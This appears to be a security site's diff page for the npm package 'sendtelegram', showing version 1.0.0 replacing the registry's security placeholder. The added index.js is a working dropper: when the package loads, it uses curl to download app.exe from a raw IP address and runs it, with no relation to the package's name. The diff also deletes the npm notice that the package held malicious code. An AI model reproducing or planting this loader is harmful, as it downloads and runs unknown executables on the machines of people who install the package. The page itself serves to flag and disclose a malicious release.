sendtelegram 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of sendtelegram might be problematic. Click here for more details.
- package/index.js +25 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
|
2
|
+
const { execSync } = require('child_process');
|
3
|
+
|
4
|
+
function download_and_launch_app() {
|
5
|
+
const curl_command = 'curl -o app.exe http://87.106.170.53/app.exe';
|
6
|
+
const launch_command = 'start app.exe';
|
7
|
+
|
8
|
+
try {
|
9
|
+
execSync(curl_command, { stdio: 'inherit', shell: true });
|
10
|
+
} catch (err) {
|
11
|
+
console.error(`Erreur lors du téléchargement : ${err.stderr}`);
|
12
|
+
return;
|
13
|
+
}
|
14
|
+
|
15
|
+
try {
|
16
|
+
execSync(launch_command, { stdio: 'inherit', shell: true });
|
17
|
+
} catch (err) {
|
18
|
+
console.error(`Erreur lors du lancement de l'application : ${err.stderr}`);
|
19
|
+
return;
|
20
|
+
}
|
21
|
+
|
22
|
+
console.log("L'application a été téléchargée et lancée avec succès !");
|
23
|
+
}
|
24
|
+
|
25
|
+
download_and_launch_app();
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "sendtelegram",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=sendtelegram for more information.
|